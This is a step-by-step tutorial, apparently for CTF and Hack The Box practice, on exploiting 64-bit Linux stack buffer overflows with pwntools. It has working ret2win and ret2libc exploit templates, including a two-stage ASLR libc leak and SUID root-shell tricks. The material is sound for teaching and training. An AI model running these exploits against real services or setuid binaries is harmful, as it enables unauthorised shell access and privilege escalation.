Linux buffer overflow step by step: ret2win and ret2libc with pwntools

From a crashing binary to a shell: checksec, finding the offset with cyclic, ret2win, bypassing NX with ret2libc and leaking libc to beat ASLR, with pwntools templates.

· 4 min read

A stack buffer overflow happens when a program copies more data than fits into a local array. The excess overwrites whatever sits behind it on the stack, including the return address: when the function returns, the program jumps wherever you say.

void vuln() {
    char buf[64];
    gets(buf);          // reads without a limit: any input longer than 64 bytes overflows
}

This guide uses 64-bit Linux binaries, which is what you will find on almost every current machine and CTF. You need gdb with pwndbg or GEF, and pwntools (pip install pwntools).

1. Recon: which protections it has

file ./vuln          # 32 or 64-bit, dynamically or statically linked
checksec --file=./vuln
Protection What it prevents How you get around it
Canary Overwriting the return address unnoticed Leak the canary (format string, over-read)
NX Running code on the stack Reuse code that already exists: ROP, ret2libc
PIE Knowing where the binary is Leak an address from the binary
ASLR (system-wide) Knowing where libc is Leak a libc address

No canary is the typical machine scenario. On the target, check whether ASLR is on: cat /proc/sys/kernel/randomize_va_space (2 = on).

2. Finding the offset

How many bytes until the return address. With a cyclic pattern:

pwn cyclic -n 8 200 > pattern
gdb ./vuln
pwndbg> run < pattern
# the program crashes on ret; look at the value on top of the stack
pwndbg> x/gx $rsp
pwn cyclic -n 8 -l <value>            # → 72 (64 for the buffer + 8 for the saved rbp)

On 64-bit the program stops at ret (the address is not canonical so it never gets loaded into RIP), which is why you look at $rsp and not $rip.

3. ret2win: jumping to a function that already exists

If the binary has a function that prints the flag or spawns a shell and is never called, just jump to it:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()                         # remote('10.10.10.10', 1337) for the server

ret = ROP(elf).find_gadget(['ret'])[0]  # aligns the stack to 16 bytes (otherwise system() crashes on movaps)
payload = b'A' * 72 + p64(ret) + p64(elf.symbols['win'])
p.sendline(payload)
p.interactive()

4. ret2libc: NX on and no magic function

You cannot execute on the stack, but libc is already loaded and has system and the string "/bin/sh". On 64-bit the first argument goes in rdi, so you need a pop rdi; ret gadget:

ROPgadget --binary ./vuln | grep "pop rdi"

Without ASLR (fixed addresses)

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0x7ffff7dc3000          # 'vmmap' in gdb or 'ldd ./vuln' on the target
rop = ROP([elf, libc])
rop.raw(rop.find_gadget(['ret'])[0])
rop.system(next(libc.search(b'/bin/sh\x00')))
p.sendline(b'A' * 72 + rop.chain())

With ASLR: two stages

The libc address changes on every run, so first you leak it and then, without letting the program exit, you send the second payload:

from pwn import *

elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')              # the target's, not yours
p = remote('10.10.10.10', 1337)

# Stage 1: puts(puts@got) prints the real address of puts, then back to main
rop = ROP(elf)
rop.puts(elf.got['puts'])
rop.main()
p.sendlineafter(b'> ', b'A' * 72 + rop.chain())
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f'libc at {hex(libc.address)}')

# Stage 2: system("/bin/sh")
rop = ROP([elf, libc])
rop.raw(rop.find_gadget(['ret'])[0])
rop.system(next(libc.search(b'/bin/sh\x00')))
p.sendlineafter(b'> ', b'A' * 72 + rop.chain())
p.interactive()

Tip

If you do not have the target's libc, the leak gives it to you: the last 3 hex digits of puts do not change with ASLR. Look them up on libc.rip or libc.blukat.me and download the matching version.

When the binary is SUID on a machine

That is the case on October and Frolic: a local SUID binary, with ASLR off or with few random bits. With ASLR on 32-bit, the libc base only varies in a few bits, so brute force is viable: run the exploit in a loop with a fixed address until it hits.

while true; do ./ovrflw $(python3 exploit.py); done

With SUID, system("/bin/sh") may drop privileges (dash drops them when the real UID does not match). Chain setuid(0) first or use execve with /bin/sh -p.

Common mistakes

  • Works locally, not remotely: a different libc, or the server does not flush its output (use recvuntil on whatever it prints before reading input).
  • Segfault inside system: misaligned stack; add a lone ret first.
  • Null bytes or newlines: gets stops at \n, strcpy at \x00. 64-bit addresses end in zeros, so with strcpy you can only place the last address.
  • There is a canary: you need another bug to read it; a format string is the usual one.

On Windows (the old-OSCP classics like the one on Buff) the idea is the same but without NX or ASLR: you jump to a jmp esp and run shellcode on the stack.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

Stack buffer overflow 10 machines

See all 10 machines →

ROP / ret2libc 3 machines

Spotted a mistake or something missing? Tell us